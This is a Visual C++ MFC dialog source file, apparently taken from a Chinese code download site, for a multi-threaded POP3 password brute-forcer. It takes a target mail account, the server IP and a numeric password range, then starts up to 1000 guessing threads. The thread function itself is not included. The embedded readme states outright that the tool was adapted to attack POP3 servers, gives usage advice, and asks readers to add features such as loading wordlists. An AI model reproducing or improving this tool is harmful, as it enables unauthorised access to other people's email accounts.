⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pop3dlg.cpp

📁 visual c++ 实例编程
💻 CPP
字号:
// pop3Dlg.cpp : implementation file
#include "stdlib.h"
#include "stdafx.h"
#include "pop3.h"
#include "pop3Dlg.h"
#include "POP.h"
#include "afx.h"
#include "string.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About

class CAboutDlg : public CDialog
{
public:
	CAboutDlg();

// Dialog Data
	//{{AFX_DATA(CAboutDlg)
	enum { IDD = IDD_ABOUTBOX };
	//}}AFX_DATA

	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CAboutDlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	//{{AFX_MSG(CAboutDlg)
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
	//{{AFX_DATA_INIT(CAboutDlg)
	//}}AFX_DATA_INIT
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CAboutDlg)
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
	//{{AFX_MSG_MAP(CAboutDlg)
		// No message handlers
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CPop3Dlg dialog

CPop3Dlg::CPop3Dlg(CWnd* pParent /*=NULL*/)
	: CDialog(CPop3Dlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CPop3Dlg)
	m_InputAddress = _T("");
	m_InputDuration = 0;
	m_MailNumber = 0;
	m_InputUser = _T("");
	m_test = _T("");
	m_assistantpassword = _T("");
	m_Password2 = 0;
	m_Password1 = 0;
	m_TotalThread = 0;
	//}}AFX_DATA_INIT
	// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}

void CPop3Dlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CPop3Dlg)
	DDX_Control(pDX, IDStart, m_start);
	DDX_Control(pDX, IDabout, m_about);
	DDX_Text(pDX, IDC_EDITAddress, m_InputAddress);
	DDV_MaxChars(pDX, m_InputAddress, 30);
	DDX_Text(pDX, IDC_EDITMailNumber, m_MailNumber);
	DDX_Text(pDX, IDC_EDITUser, m_InputUser);
	DDX_Text(pDX, IDC_EDITtest, m_test);
	DDX_Text(pDX, IDC_EDITassistantpassword, m_assistantpassword);
	DDV_MaxChars(pDX, m_assistantpassword, 20);
	DDX_Text(pDX, IDC_EDITPassword2, m_Password2);
	DDV_MinMaxLong(pDX, m_Password2, 1, 99999999);
	DDX_Text(pDX, IDC_EDITPassword1, m_Password1);
	DDV_MinMaxLong(pDX, m_Password1, 1, 99999999);
	DDX_Text(pDX, IDC_TotalThread, m_TotalThread);
	DDV_MinMaxLong(pDX, m_TotalThread, 1, 1000);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CPop3Dlg, CDialog)
	//{{AFX_MSG_MAP(CPop3Dlg)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDStart, OnStart)
	ON_BN_CLICKED(IDQuit, OnQuit)
	ON_EN_CHANGE(IDC_EDITtest, OnChangeEDITtest)
	ON_BN_CLICKED(IDabout, Onabout)
	ON_BN_CLICKED(IDVIEW, OnView)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CPop3Dlg message handlers

BOOL CPop3Dlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	// Add "About..." menu item to system menu.

	// IDM_ABOUTBOX must be in the system command range.
	ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
	ASSERT(IDM_ABOUTBOX < 0xF000);

	CMenu* pSysMenu = GetSystemMenu(FALSE);
	if (pSysMenu != NULL)
	{
		CString strAboutMenu;
		strAboutMenu.LoadString(IDS_ABOUTBOX);
		if (!strAboutMenu.IsEmpty())
		{
			pSysMenu->AppendMenu(MF_SEPARATOR);
			pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
		}
	}

	// Set the icon for this dialog.  The framework does this automatically
	//  when the application's main window is not a dialog
	SetIcon(m_hIcon, TRUE);			// Set big icon
	SetIcon(m_hIcon, FALSE);		// Set small icon
	
	// TODO: Add extra initialization here
	
	return TRUE;  // return TRUE  unless you set the focus to a control
}

void CPop3Dlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	if ((nID & 0xFFF0) == IDM_ABOUTBOX)
	{
		CAboutDlg dlgAbout;
		dlgAbout.DoModal();
	}
	else
	{
		CDialog::OnSysCommand(nID, lParam);
	}
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CPop3Dlg::OnPaint() 
{
	if (IsIconic())
	{
		CPaintDC dc(this); // device context for painting

		SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);

		// Center icon in client rectangle
		int cxIcon = GetSystemMetrics(SM_CXICON);
		int cyIcon = GetSystemMetrics(SM_CYICON);
		CRect rect;
		GetClientRect(&rect);
		int x = (rect.Width() - cxIcon + 1) / 2;
		int y = (rect.Height() - cyIcon + 1) / 2;

		// Draw the icon
		dc.DrawIcon(x, y, m_hIcon);
	}
	else
	{
		CDialog::OnPaint();
	}
}

// The system calls this to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CPop3Dlg::OnQueryDragIcon()
{
	return (HCURSOR) m_hIcon;
}
void CPop3Dlg::OnStart() 
{
   Error=0;
   this->UpdateData();
   if(m_InputUser.IsEmpty()!=0)
   {
	   MessageBox("请输入油箱帐号...");
       return;
   }
   else 
   {
	   if((m_Password1==0)||m_Password2==0)
	   {
		   MessageBox("请输入密码范围...");
		   return;
	   }
	   else 
	   {
		   if (m_InputAddress.IsEmpty()!=0)
		   {
			   MessageBox("请输入POP3服务器的IP地址...");
			   return;
		   }
	   }
   }
   m_start.EnableWindow(false);
   // 试探密码开始: 
   extern long gTotalThread;
  gTotalThread=m_TotalThread;

   extern long interval;
     extern CString gInputUser;
     gInputUser=m_InputUser;
   
	 //对邮件服务器湖制
	extern CString gmyInputAddress;
    gmyInputAddress=m_InputAddress;
	
	//求间隔interval 为分母。
	extern CString myHelpUser;
   interval=(m_Password2-m_Password1)/gTotalThread;
     
   //求辅助密码
   myHelpUser=m_assistantpassword;
  
   long ThreadArg[1000];

   //计算参数表ThreadArg[10];
    //采用abc12345形式穷主密码。
   for(long j=0;j<gTotalThread;j++)
   {
	   if(j==0)
	       ThreadArg[j]=m_Password1;
	   else 
		   ThreadArg[j]=ThreadArg[0]+interval*j;
   }	
   //计算结束

   //初始化并开始多线程
   CWinThread *pThread[1000]; 
	for(long ThreadNumber=0;ThreadNumber<gTotalThread;ThreadNumber++)
	{																					//不能改为CREATE_SUSPENDED,要用参数0;
	    pThread[ThreadNumber]=AfxBeginThread(CPOP::ThreadFunc,&ThreadArg[ThreadNumber],THREAD_PRIORITY_NORMAL,0,0,NULL);
	}
	//初始化结束
}

void CPop3Dlg::OnQuit() 
{
  //创建日志文件
   CStdioFile file;
   CString filename="log.txt";
   if(file.Open(filename,CFile::modeCreate | CFile::modeWrite)==0)//|CFile::shareCompat|CFile::shareDenyNone)==0)
   {
	   CString str;
	   str="创建文件"+filename+"失败";
	   AfxMessageBox(str);
	   return;
   }			   
   file.Write("最后试探密码为:\n",18);

     //记录所有的试探密码:
    extern CString gmyAllPwd;
	file.WriteString(gmyAllPwd);//,gmyAllPwd.GetLength());

   
   extern long gmyTotalNum;
   CString myTotalNum;
   myTotalNum.Format("\n\n到目前为止密码试探总次数:%ld 次(本次试探范围是:从%ld 到 %ld)\n\n",gmyTotalNum,m_Password1,m_Password2-1);
   file.WriteString(myTotalNum);
   
   if(m_Password2-m_Password1<=gmyTotalNum)
   {
	file.WriteString("\n\n本次试探破解没有找到密码\n");
	file.Close();
	exit(30);
   }
   else 
	   file.WriteString("\n\n正在寻找密码中,请稍等...");
   	file.Close();
	CString stropentxt="notePad "+filename;
	WinExec(stropentxt,SW_SHOW);
}

void CPop3Dlg::OnChangeEDITtest() 
{
	// TODO: If this is a RICHEDIT control, the control will not
	// send this notification unless you override the CDialog::OnInitDialog()
	// function and call CRichEditCtrl().SetEventMask()
	// with the ENM_CHANGE flag ORed into the mask.
	
	// TODO: Add your control notification handler code here
	
}

void CPop3Dlg::Onabout() 
{
	CStdioFile readmenow;
	CString filename="readmenow.txt";
	if(readmenow.Open(filename,CFile::modeCreate | CFile::modeWrite)==0)
	{
		AfxMessageBox("Create File :readmenow.txt Error!,check your right to write");
		return;
	}
	CString myContext;
	myContext="软件来由:\n我在看一本VC SOCKET编程时,发现可以改进某个例子,使其能攻击POP3服务器,我花费\n开学至今的时间来改进它,望大家笑纳:)\n";
	myContext+="\n使用说明:\n\n1.本软件只对形式如xyz123的密码有效,但英文要手动输入(可以不输入英文,\n此时表示密码全为数字),数字是自动生成.\n\n2.帐号形式为:will38(不能带后面的部分:@263.net)\n\n3.总线程不要超过1000,最好100即可,特别是机器内存小于64M时不要开太多,以免死机\n\n";
	myContext+="4.有一功能没有实现,即显示当前正在试探的密码,谁来实现?\n\n5。文子请大家改进本程序,实现保存密码和从文件中调出字母来生成密码这2个功能\n\n6.如果你想研究代码,请重点注意我的这个多线程函数\npThread[ThreadNumber]=AfxBeginThread(CPOP::ThreadFunc,&ThreadArg[ThreadNumber],THREAD_PRIORITY_NORMAL,0,0,NULL)\n我用他它来产生多线程\n\n7.";
	readmenow.WriteString(myContext);
	readmenow.Close();
	CString readmenowstring="notePad "+filename;
	WinExec(readmenowstring,SW_SHOW);
}

void CPop3Dlg::OnView() 
{
   
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -